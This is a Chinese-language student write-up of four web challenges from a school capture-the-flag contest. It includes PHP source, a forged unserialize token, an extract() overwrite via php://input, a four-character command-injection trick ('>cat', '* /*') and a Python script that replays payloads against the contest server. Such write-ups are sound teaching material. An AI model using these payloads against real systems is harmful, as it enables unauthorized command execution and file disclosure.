ZJPC2021CTF web wp

前言

这次校赛,不晓得自己在赣神魔,脑子有点抽
因为有点事来得晚了,就想着把web做完就行
结果其他简单题一道没看,比如re的burst is a good idea,足足300分啊
然后web还一堆骚操作,麻了
ctf果然还是拿分重要
被pwn狗无情嘲讽

一、phpinfo

签到题啦,没啥好说的,所有同学都做出来了
打开环境直接拉到最下面就有flag
或者 f12 注释里有 flag
再或者 Ctrl + f 搜索 flag

二、ez反序列化

先上源码

<?php
show_source(__FILE__); 
include("flag.php");
session_start();
$requset = array_merge($_GET, $_POST, $_SESSION,$_COOKIE);
if(isset($requset['token'])){  
    $login = unserialize(gzuncompress(base64_decode($requset['token'])));
    if($login['user'] === 'ZJPCTF')
    {
        echo $flag;
    }
}
?> 

代码审计一下,显然是要构*序列化来得到flag

鉴于都是小萌新,我就解释的稍微详细那么一丢丢

首先文件包含一个flag.php,显然flag就在flag.php里

接着通过get,post,session,cookie四种传参方式对request进行赋值

对request进行base64解密、gz解压缩、反序列化后赋值给login

最后判断login中user键对应的值是ZJPCTF就可以成功get flag啦!

解密思路很清晰,那么直接倒着加密一遍然后传参就行

<?php
$token = array("user"=>"ZJPCTF");
echo base64_encode(gzcompress(serialize($token)));
?>
# eJxLtDK0qi62MrFSKi1OLVKyLrYys1KK8gpwDnFTsq4FAIn4CMU=

所以最后payload:
/?token=eJxLtDK0qi62MrFSKi1OLVKyLrYys1KK8gpwDnFTsq4FAIn4CMU=

三、ssjh

这道题,真是一言难尽。。。
当时有事来晚了,时间不太够,这道题都没出 (主要是没搜到原题QAQ
上源码

<?php
show_source(__FILE__); 
include("flag.php");
$flag='flag{xxx}'; 
extract($_GET);
if(isset($payload))
{
	$content=trim(file_get_contents($flag));
	if($payload==$content && $payload=='ssjh')
	{
		echo $flag1;
	}
	else
	{
		echo'try again';
	}
}
?>

源码审计一下,这道题的考点在于 extract() 函数的变量覆盖漏洞

extract()
数组中将变量导入到当前的符号表

$_GET
通过 URL 参数(又叫 query string)传递给当前脚本的变量的数组。 注意:该数组不仅仅对 method 为 GET 的请求生效,而是会针对所有带 query string 的请求

这个漏洞挺可怕的,若是被黑客发现,而且有可控参数,也许就能造成意想不到的破坏,比如这题

if($payload==$content && $payload=='ssjh')

最终要构造的绕过点就在这里,乍一看好像挺简单的,只要payload和content相等并且payload=='ssjh’就行了
那我们直接传参/?payload=ssjh&content=ssjh不就好了???

当然不是,可以看到content是在extract($_GET)之后才给赋值的

$content=trim(file_get_contents($flag));

所以我们应该对$flag进行操作,那么问题又来了

file_get_contents()
将整个文件读入一个字符串

我怎么知道有什么文件,而且哪个文件里面内容是’ssjh’???

那显然,这道题肯定不是这么解的,后来给了hint:php伪协议
当时就很奇怪,伪协议能干哈,难不成远程写一个文件上去,内容是ssjh,然后再访问?大概试了一下,没有执行权限。时间不够,就这样无了

赛后问师兄,发现了新大陆

file_get_contents(“php://input”)的用法
https://www.cnblogs.com/lxwphp/p/11316144.html

所以最后payload:
/?payload=ssjh&flag=php://input
post : “ssjh”

我是菜狗,我自己爬

四、4字exec

这道题,做过了。。。当时没想起来 麻中麻

给了?cmd,那显然是rce

什么是RCE?
远程连接命令/代码执行漏洞,简称RCE漏洞,能够让攻击者直接向后台服务器远程写入服务器系统命令或者代码,从而控制后台系统。

这题当然不需要挖漏洞,直接传参就行,但是传参不能超过4个字符
这就很麻烦啊,毕竟正常来做的话确实很麻烦

我这里贴个师傅总结的帖子,总结的不错,学到了很多
https://blog.csdn.net/q20010619/article/details/109206728

但是赛后师兄就说了两句话

>cat
* /*

ZJPC2021CTF web wp
我觉得这个方法可以算非预期
ZJPC2021CTF web wp
女少口阿~~

但是鸡贼的17web狗还写了个后台任务,每秒去删除cat文件
所以要自己写python去跑
借鉴上面师傅博客的脚本

import requests
url = "http://***.***.**.**:****/?cmd={0}"
print("[+]start attack!!!")
res = ''
with open("payload.txt","r") as f:
    for i in f:
        print("[*]" + url.format(i.strip()))
        res += requests.get(url.format(i.strip())).text
with open("res.txt","w") as f:
    f.write(res)
print("[+]attack success!!!")

打开保存的res.txt,搜索flag

结语

第一次在csdn写wp,师傅们轻点喷

总的来说,这次校赛是真简单,至于为啥没做出来
因为蔡

哦对,还有一道diff web,这个涉及一些原因,我就先不写了,真有兴趣的师弟可以来找我交流下思路

over
上一篇:bype的wp


下一篇:Ubuntu16.04下安装elasticsearch+kibana实现php客户端的中文分词